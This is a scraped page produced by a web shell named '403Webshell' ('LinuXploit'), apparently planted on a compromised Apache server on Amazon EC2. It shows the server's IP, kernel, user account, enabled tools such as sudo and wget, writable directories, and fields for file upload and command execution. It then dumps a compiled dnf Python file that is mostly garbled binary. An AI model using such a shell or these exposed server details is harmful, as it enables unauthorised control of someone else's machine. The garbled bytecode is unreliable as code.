403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/dnf/cli/commands/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/dnf/cli/commands/__pycache__/mark.cpython-39.pyc
a

�!c�
�@spddlmZddlmZddlZddlmZddlmZddl	Z	ddl
Z
ddlZe�d�Z
Gdd�dej�ZdS)	�)�print_function)�unicode_literalsN)�_)�commands�dnfc@sLeZdZdZed�Zedd��Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�ZdS)�MarkCommand)�markz7mark or unmark installed packages as installed by user.cCs4|jddgd�td�d�|jdddtd	�d
�dS)Nr�)Zinstall�remove�groupzhinstall: mark as installed by user
remove: unmark as installed by user
group: mark as installed by group)�nargs�choices�help�package�+ZPACKAGEzPackage specification)r�metavarr)�add_argumentr)�parser�r�9/usr/lib/python3.9/site-packages/dnf/cli/commands/mark.py�
set_argparser)s�
�zMarkCommand.set_argparsercCs,|jj�|tjj�t�td�t	|��dS)Nz%s marked as user installed.)
�base�history�
set_reason�libdnf�transactionZTransactionItemReason_USER�logger�infor�str��self�pkgrrr�
_mark_install2szMarkCommand._mark_installcCs,|jj�|tjj�t�td�t	|��dS)Nz%s unmarked as user installed.)
rrrrrZ TransactionItemReason_DEPENDENCYrrrrrrrr�_mark_remove6szMarkCommand._mark_removecCs,|jj�|tjj�t�td�t	|��dS)Nz%s marked as group installed.)
rrrrrZTransactionItemReason_GROUPrrrrrrrr�_mark_group:szMarkCommand._mark_groupcCs$|jj}d|_d|_d|_d|_dS)NTF)�cli�demandsZsack_activationZ	root_userZavailable_reposZ	resolving)r r&rrr�	configure>s
zMarkCommand.configurec
Cs�|jjd}|jj}t�t|d|��}g}|D]F}tj�|�}|�	|j
j�}|D]}||�qRt|�dkr0|�
|�q0|r�t�td��|D]}t�td�|�q�tjj�|j
j��}|dur�|j
j��}	n|j}	|j
j�|	gg�|j
j�|	�dS)NrZ_mark_zError:zPackage %s is not installed.)Zoptsrr�	functools�partial�getattrrZsubjectZSubjectZget_best_queryrZsack�len�appendr�errorrr%ZCliErrorrZlastZ_tsZdbCookieZend_rpmdb_versionZbeg�end)
r �cmdZpkgsZ	mark_funcZnotfoundr!Zsubj�q�oldZ
rpmdb_versionrrr�runEs,
zMarkCommand.runN)
�__name__�
__module__�__qualname__�aliasesrZsummary�staticmethodrr"r#r$r'r2rrrrr$s
r)Z
__future__rrZlibdnf.transactionrZdnf.i18nrZdnf.clirrr(ZloggingZ	getLoggerrZCommandrrrrr�<module>s


Youez - 2016 - github.com/yon3zu
LinuXploit